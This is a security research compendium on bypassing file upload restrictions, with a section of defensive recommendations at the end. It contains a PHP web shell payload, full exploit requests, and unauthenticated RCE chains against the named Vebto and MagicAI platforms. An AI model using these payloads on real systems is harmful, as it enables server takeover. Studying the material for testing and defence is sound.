Tips and Tricks: Bypassing File Upload Restrictions
File upload functionality is one of the most consistently exploitable attack surfaces in web applications
Tips and Tricks: Bypassing File Upload Restrictions — A Security Research Compendium
File upload functionality is one of the most consistently exploitable attack surfaces in web applications. Despite years of documented vulnerabilities, developers continue to implement upload validation with preventable weaknesses. This article compiles practical bypass techniques observed across real-world security research, from trivial extension tricks to advanced storage-layer manipulation. The techniques documented here are intended for authorized security testing and defensive awareness.
Why File Upload Bypasses Matter
A successful file upload bypass typically leads to Remote Code Execution (RCE). When an attacker can place an executable file on a web server and subsequently request it, the server interprets and runs the attacker's code.
The general exploitation flow is:
Attacker
│
▼
Upload Endpoint
│
▼
Bypass Validation (extension, MIME, content)
│
▼
Malicious File Written to Disk
│
▼
Attacker Requests the File URL
│
▼
Server Executes the File
│
▼
Remote Code Execution
Every technique in this article targets one or more stages in the validation chain that stands between the upload request and the file reaching the server's filesystem in an executable state.
Category 1: Extension-Based Bypasses
Extension validation is the most common upload defense and also the most commonly bypassed.
1.1 — Alternative PHP Extensions
Many servers are configured to execute more than just .php. When a blacklist blocks .php, these alternatives often succeed:
.phtml → Almost universally executed as PHP
.php3 → Legacy but still configured on many servers
.php4 → Legacy
.php5 → Common on shared hosting
.php7 → PHP 7.x specific
.phar → PHP Archive, executed by default
.phps → PHP source (may execute on misconfigured servers)
.pgif → Rare but seen in CTF and real configs
.shtml → Server-Side Includes
.inc → Often included by PHP applications
.php74 → It sometimes works on Hostinger servers.
.php83 → It sometimes works on Hostinger servers.
The reason this works is straightforward: blacklists must enumerate every dangerous extension, and developers frequently miss alternatives. Apache's handler configuration often includes multiple extensions by default.
1.2 — Case Variation
When the server runs on Windows or uses a case-insensitive filesystem, and the application performs case-sensitive validation:
.PHP → Blocked: .php
.Php → Often bypasses blacklist
.pHp → Mixed case
.PHP5 → Combined with alternative extension
.pHtMl → Case variation on alternative
A secure implementation normalizes the extension to lowercase before comparison. Many do not.
1.3 — Double Extensions
Apache's mod_mime processes extensions right-to-left but may match on any recognized extension in the filename:
shell.php.jpg → Some validators check only the last extension
shell.php.png → Same principle
shell.php.xxxjpg → Unrecognized last extension, Apache falls back
shell.php.test → Unknown extension → Apache checks earlier extensions
The critical insight: if the last extension is unrecognized by Apache, it checks the previous extension. So shell.php.foobar executes as PHP because .foobar is not a known MIME type.
1.4 — Trailing Characters (Windows-Specific)
Windows filesystems silently strip certain trailing characters when writing files:
shell.php. → Trailing dot stripped → shell.php
shell.php... → Multiple dots stripped → shell.php
shell.php → Trailing space stripped → shell.php
shell.php::$DATA → NTFS Alternate Data Stream → reads shell.php content
The validation sees shell.php. (not .php), passes it, and Windows writes shell.php.
Category 2: Null Bytes and Control Characters
These techniques exploit differences between how the application language and the underlying C-based filesystem handle special bytes.
2.1 — Classic Null Byte (%00)
In languages that interface with C-based filesystem calls, the null byte terminates strings:
shell.php%00.jpg → Application sees: shell.php%00.jpg (valid .jpg)
→ Filesystem sees: shell.php (null terminates)
This was devastating in older PHP versions (< 5.3.4) and remains relevant in applications using vulnerable string-handling libraries.
2.2 — Form Feed Character (%0c)
The form feed character (%0c, ASCII 12) is a control character that some validation routines fail to handle:
shell.php%0c.jpg → URL-decoded: shell.php\x0c.jpg
→ Validator checks last extension: .jpg ✓
→ Some servers/frameworks strip control chars on write
→ Result: shell.php
This bypass has been observed in real-world applications where the upload handler passes the filename through a sanitization function that strips non-printable characters after the extension validation has already approved the file. The validation and the filesystem see different filenames.
2.3 — Newline Injection (%0a, %0d)
Line feed and carriage return characters can confuse extension parsing:
shell.php%0a.jpg → Line feed between extensions
shell.php%0d.jpg → Carriage return
shell.php%0d%0a.jpg → CRLF sequence
Some web servers (notably older versions of Nginx with certain configurations) have been vulnerable to null byte and newline injection in filename processing. CVE-2013-4547 is a well-known example where Nginx could be tricked into executing a file by appending \x20\x00 to the URI.
2.4 — Semicolon Truncation (IIS)
On IIS with certain configurations, a semicolon in the URL acts as a path parameter delimiter:
shell.asp;.jpg → IIS processes as .asp
shell.aspx;.jpg → IIS processes as .aspx
The application sees a .jpg file, but IIS treats the semicolon as a parameter separator and processes the file with the ASP handler.
Category 3: MIME Type and Content-Type Manipulation
3.1 — Content-Type Header Forgery
When validation relies on the Content-Type header from the upload request, the attacker controls this value entirely:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ← Attacker-controlled lie
<?php system($_GET['cmd']); ?>
------Boundary--
The application checks Content-Type: image/jpeg and allows the upload. The file content is PHP code.
3.2 — Magic Bytes (File Signature Spoofing)
Applications that check file content for magic bytes can be bypassed by prepending the expected signature:
GIF89a ← Valid GIF header (6 bytes)
<?php system($_GET['cmd']); ?> ← PHP code after the header
───────────────────────────────────
\xFF\xD8\xFF\xE0 ← JPEG magic bytes
<?php system($_GET['cmd']); ?> ← PHP payload
───────────────────────────────────
\x89PNG\r\n\x1A\n ← PNG magic bytes
<?php system($_GET['cmd']); ?>
The file passes finfo_file() / mime_content_type() checks because the magic bytes match, but PHP will still execute the embedded code when the file is requested with a .php extension (or a configured handler).
3.3 — Polyglot Files
A polyglot is a file that is simultaneously valid in two formats:
Valid JPEG structure
│
├── JPEG SOI marker (FF D8)
├── EXIF/Comment section containing PHP code
├── Image data
└── JPEG EOI marker (FF D9)
→ Passes image validation: ✓ (valid JPEG)
→ Executed by PHP: ✓ (PHP finds <?php tag)
Creating polyglots with tools like exiftool:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg
The resulting file is a valid JPEG that contains PHP code in its EXIF comment field. If served with a PHP handler, the code executes.
Category 4: Path and Storage Manipulation
4.1 — Path Traversal in Filename
When the application uses the uploaded filename to construct the storage path without sanitization:
filename="../../../../var/www/html/shell.php"
→ Application stores to: /uploads/../../../../var/www/html/shell.php
→ Resolves to: /var/www/html/shell.php
→ Directly accessible: https://target.com/shell.php
Even partial traversal can be useful — escaping from a non-executable upload directory to a web-accessible one.
4.2 — Storage Parameter Manipulation (Vebto disk_prefix)
This technique was discovered during security research on the Vebto Platform (the shared foundation used by BeLink, BeDesk, BeDrive, BeMusic, and others).
The Vebto upload endpoint accepts a disk_prefix parameter that controls where files are stored:
POST /api/v1/uploads
Content-Type: multipart/form-data
file=@shell.php
disk_prefix=../../../public
→ Normal upload path: /storage/app/uploads/file.txt
→ Manipulated path: /storage/app/../../../public/shell.php
→ Resolves to: /public/shell.php
→ Directly accessible: https://target.com/shell.php
The vulnerability exists because the application trusts the client-supplied disk_prefix parameter to determine storage location. Combined with a social authentication bypass (to obtain an API token without credentials), this creates an unauthenticated RCE chain.
The attack flow for Vebto:
Attacker
│
▼
Social Auth Callback (no OAuth configured)
│
▼
Account Created + API Token Obtained
│
▼
POST /api/v1/uploads
├── file: shell.php
├── disk_prefix: ../../../public
└── Authorization: Bearer <token>
│
▼
File Written to /public/shell.php
│
▼
GET /shell.php → RCE
4.3 — Form Field Type Injection (MagicAI)
Discovered during security research on MagicAI (a Laravel + Vue SaaS platform for AI chat, image, and code generation by LiquidThemes), this technique abuses a non-file form field to control the storage filename and extension.
MagicAI's document analyzer feature allows users to upload .csv or document files for AI analysis. The upload endpoint accepts a type form field that the backend uses to construct the storage path. The application validates the uploaded filename (shell.csv) and Content-Type (text/csv), but the type parameter value is concatenated directly into the final storage path without sanitization:
POST /upload/analyzer
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="doc"; filename="shell.csv"
Content-Type: text/csv ← MIME says CSV
host
<?php system($_GET['cmd']); ?> ← Actual content is PHP
------WebKitFormBoundary
Content-Disposition: form-data; name="type"
yucaerin/csv.php ← Controls storage path
------WebKitFormBoundary--
The attack chain works because three separate checks are each individually bypassed:
Validation Layer │ What It Sees │ Result
──────────────────────────────┼───────────────────────┼────────
Filename check │ shell.csv │ ✓ Pass
Content-Type check │ text/csv │ ✓ Pass
File content (no deep check) │ Starts with "host" │ ✓ Pass
│ │
Storage layer │ type = yucaerin/csv.php
│ │
Written to disk as: │ /uploads/temp.yucaerin/csv.php
The type parameter value yucaerin/csv.php becomes part of the destination path. The server writes the file to /uploads/temp.yucaerin/csv.php, a web-accessible .php file. The attacker then triggers RCE:
GET /uploads/temp.yucaerin/csv.php?cmd=id HTTP/1.1
→ uid=33(www-data) gid=33(www-data)
The complete exploitation flow:
Authenticated User (any role)
│
▼
Document Analyzer Upload
├── filename: shell.csv ← Passes extension check
├── Content-Type: text/csv ← Passes MIME check
├── type: yucaerin/csv.php ← Injected into storage path
└── content: <?php payload ?> ← No content validation
│
▼
File Written to /uploads/temp.yucaerin/csv.php
│
▼
GET /uploads/temp.yucaerin/csv.php?cmd=id
│
▼
Remote Code Execution as www-data
This technique is particularly dangerous because:
- The filename and Content-Type are both "clean" (CSV), passing typical upload validation
- The actual storage extension is controlled by a non-file form field (
type) that validators rarely inspect - No file content validation (magic bytes, deep inspection) is performed
- The upload directory is directly web-accessible
This is a variant of storage parameter injection (like Vebto's disk_prefix), but instead of manipulating the directory path, the attacker manipulates the filename extension through a seemingly unrelated form parameter.
4.4 — Overwriting Existing Files
If the application does not randomize filenames, an attacker may overwrite critical files:
filename=".htaccess" → Overwrite Apache config
filename="web.config" → Overwrite IIS config
filename="../config/app.php" → Overwrite application config
filename="index.php" → Replace the application entry point
Category 5: Server Configuration Injection
5.1 — .htaccess Upload
If the server allows uploading .htaccess files, the attacker can reconfigure Apache for that directory:
# Make .jpg files execute as PHP
AddType application/x-httpd-php .jpg
# Or use handler directive
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
After uploading this .htaccess, any .jpg file in that directory executes as PHP. The attacker then uploads shell.jpg containing PHP code.
5.2 — .user.ini Upload (PHP-FPM / CGI)
When PHP runs as CGI or FPM, .user.ini files are processed per-directory:
auto_prepend_file=shell.jpg
This directive tells PHP to automatically include shell.jpg before every PHP file in that directory. The attacker uploads both .user.ini and shell.jpg (containing PHP code), then requests any existing .php file in the directory.
5.3 — web.config Upload (IIS)
The Windows/IIS equivalent of .htaccess:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="php_via_jpg" path="*.jpg"
verb="*" modules="FastCgiModule"
scriptProcessor="C:\PHP\php-cgi.exe"
resourceType="Unspecified" />
</handlers>
</system.webServer>
</configuration>
Category 6: Race Conditions (TOCTOU)
6.1 — Upload-Then-Delete Race
Some applications upload the file first, validate it, then delete it if invalid. The window between upload and deletion is exploitable:
Timeline:
─────────────────────────────────────────────
T0: File uploaded to /uploads/shell.php
T1: Validation begins (checking file content)
T2: ★ Attacker requests /uploads/shell.php → RCE
T3: Validation fails, file deleted
─────────────────────────────────────────────
Exploitation requires rapid, concurrent requests. A typical approach:
Thread A (loop): POST /upload → sends shell.php
Thread B (loop): GET /uploads/shell.php → tries to execute
Eventually, Thread B hits the window between T0 and T3.
6.2 — Chunked Upload Race
Applications that support chunked/resumable uploads may assemble chunks into a complete file before validation:
Chunk 1: <?php sys → Uploaded, stored as partial
Chunk 2: tem($_GET[ → Appended
Chunk 3: 'cmd']); ?> → Appended, file now complete
→ Validation starts
→ Window exists before validation completes
Category 7: Double Encoding and Parser Differentials
7.1 — Double URL Encoding
When the application URL-decodes the filename once, but a downstream component decodes it again:
shell%252ephp → First decode: shell%2ephp
→ Second decode: shell.php
%2570hp → First decode: %70hp
→ Second decode: php (the 'p' was encoded)
This exploits the differential between the validation layer (sees %2e, not a dot) and the storage layer (decodes to .).
7.2 — Unicode Normalization
Some frameworks normalize Unicode characters, which can transform filenames:
shell.p\u0068p → Unicode 'h' (U+0068) → normalized to: shell.php
shell.㎰ → Unicode character that normalizes to "ps"
This is particularly relevant in applications using Unicode-aware string processing where the normalization happens after validation.
7.3 — Right-to-Left Override (RTLO)
The Unicode character U+202E reverses text direction:
shell[U+202E]gpj.php
→ Displayed as: shellphp.jpg (looks like .jpg)
→ Actual filename: shell[RTLO]gpj.php (ends in .php)
Category 8: Image Processing Exploits
8.1 — ImageMagick Exploits (ImageTragick)
When applications use ImageMagick to process uploaded images, specially crafted files can achieve code execution:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
Save as .mvg, .svg, or even .png (ImageMagick detects format by content, not extension). CVE-2016-3714 (ImageTragick) demonstrated this class of vulnerability.
8.2 — Exiftool Code Execution
Exiftool processes image metadata and has had code execution vulnerabilities. CVE-2021-22204 allows arbitrary code execution through a crafted DjVu file embedded in a JPEG:
Upload crafted JPEG with DjVu payload
│
▼
Server runs exiftool to extract metadata
│
▼
DjVu parser triggers code execution
│
▼
RCE as the web server user
8.3 — SVG with Embedded JavaScript
SVG files are XML-based and can contain JavaScript:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script>alert(document.cookie)</script>
<circle cx="50" cy="50" r="40" fill="red" />
</svg>
If the SVG is served from the same origin, this becomes a stored XSS vulnerability. If the server processes SVGs (e.g., converts to PNG), the embedded XML may also trigger XXE.
Category 9: Archive-Based Attacks
9.1 — Zip Slip (Path Traversal in Archives)
When applications extract uploaded ZIP/TAR archives, crafted entries can write outside the target directory:
malicious.zip contains:
├── normal-file.txt
└── ../../../../var/www/html/shell.php
Application extracts to /uploads/
→ /uploads/normal-file.txt (intended)
→ /var/www/html/shell.php (traversal!)
9.2 — Symlink Attacks in Archives
TAR archives can contain symbolic links:
malicious.tar contains:
├── link → /etc/passwd (symlink)
└── normal.txt
After extraction:
→ /uploads/link → /etc/passwd (readable via web)
Category 10: Content-Disposition and Multipart Tricks
10.1 — Multiple Filename Parameters
Some parsers handle duplicate parameters differently:
Content-Disposition: form-data; name="file"; filename="safe.jpg"; filename="shell.php"
→ Validator reads first filename: safe.jpg ✓
→ Storage uses last filename: shell.php
10.2 — Filename Encoding Tricks
Different encoding representations of the same filename:
filename="shell.php" → Standard
filename*=UTF-8''shell.php → RFC 5987 encoded
filename="shell.php"; filename*=UTF-8''shell.php → Both present
10.3 — Boundary Manipulation
Malformed multipart boundaries can confuse parsers:
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="safe.jpg"
Content-Type: image/jpeg
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary--
The validator may check the first part (safe.jpg), while the application processes the second part (shell.php).
Category 11: Framework and Language-Specific Bypasses
11.1 — Laravel / PHP Frameworks
Technique │ Target
───────────────────────────────────┼──────────────────────
.env upload → credential theft │ Overwrite .env file
Blade template upload │ .blade.php extension
Artisan scheduled task injection │ Modify scheduled tasks
Storage link traversal │ Escape storage/app/public
Phar deserialization │ Upload .phar → trigger unserialize
11.2 — Python Frameworks (Django/Flask)
Template injection via upload │ .html with {{ }} Jinja2 syntax
Pickle deserialization │ Upload serialized Python objects
__init__.py overwrite │ Module initialization hijack
11.3 — Java / Spring
.jsp / .jspx upload │ Direct code execution
.war deployment │ Full application deployment
XML External Entity in uploads │ XXE through XML file uploads
Quick Reference: Bypass Cheat Sheet
| Technique | Payload | Bypasses |
|---|---|---|
| Alt extension | shell.phtml |
Extension blacklist |
| Case variation | shell.pHp |
Case-sensitive blacklist |
| Double extension | shell.php.jpg |
Last-extension-only check |
| Null byte | shell.php%00.jpg |
C-string termination |
| Form feed | shell.php%0c.jpg |
Control char stripping after validation |
| Trailing dot | shell.php. |
Windows filesystem normalization |
| ADS | shell.php::$DATA |
NTFS alternate data stream |
| MIME spoof | Content-Type: image/jpeg |
Content-Type-only validation |
| Magic bytes | GIF89a<?php... |
File signature check |
| .htaccess | AddType application/x-httpd-php .jpg |
Server config injection |
| .user.ini | auto_prepend_file=shell.jpg |
PHP auto-include |
| Double encode | shell%252ephp |
Double-decode differential |
| Race condition | Rapid upload + request | Upload-then-validate flow |
| disk_prefix | ../../public |
Storage path parameter injection |
| type field | type=yucaerin/csv.php |
Form field → storage extension injection |
| Zip slip | ../../../shell.php in archive |
Archive extraction traversal |
| SVG XSS | <script> in SVG |
Image upload allowing SVG |
| Polyglot | Valid JPEG + PHP in EXIF | Image content + extension combined |
Defensive Recommendations
For developers building upload functionality, the defense should operate on multiple layers:
Upload Request
│
▼
1. Whitelist Extensions (NOT blacklist)
│
▼
2. Validate Content (magic bytes + deep inspection)
│
▼
3. Randomize Filename (UUID, never use original)
│
▼
4. Store Outside Web Root (or on object storage)
│
▼
5. Serve via Proxy with forced Content-Type/Content-Disposition
│
▼
6. Separate Domain for User Content (prevent same-origin attacks)
Key principles:
- Whitelist, not blacklist. Only allow known-safe extensions.
- Never trust client-supplied data. Filename, Content-Type, and content are all attacker-controlled.
- Randomize storage names.
a8f3b2c1-d4e5.datprevents all path and extension tricks. - Store outside the web root. If files are not directly accessible by URL, execution is prevented even if all other defenses fail.
- Validate server-side parameters. Storage paths, disk prefixes, and destination directories must never be client-controlled.
- Use
Content-Disposition: attachmentwhen serving user-uploaded files to prevent browser interpretation. - Process images server-side. Re-encode uploaded images to strip embedded code, EXIF payloads, and polyglot content.
Conclusion
File upload bypass is not a single technique but a family of attack patterns spanning extension tricks, encoding differentials, parser inconsistencies, race conditions, and storage-layer manipulation. A defense that blocks .php in the filename is trivially bypassed; a defense that whitelists extensions, validates content, randomizes filenames, and stores outside the web root is significantly harder to defeat.
For security researchers, the most productive areas to investigate are parser differentials (where validation and storage interpret filenames differently), parameter injection (where storage paths or configurations are client-influenced), and race conditions (where the time-of-check differs from the time-of-use).
The techniques documented here represent patterns observed across many real-world applications and CVEs. The common thread is that upload security fails when any single link in the validation chain can be subverted — and the chain almost always has more links than the developer anticipated.
Disclaimer: These techniques are documented for authorized security testing, education, and building better defenses. Unauthorized testing against systems you do not own or have explicit permission to test is illegal and unethical.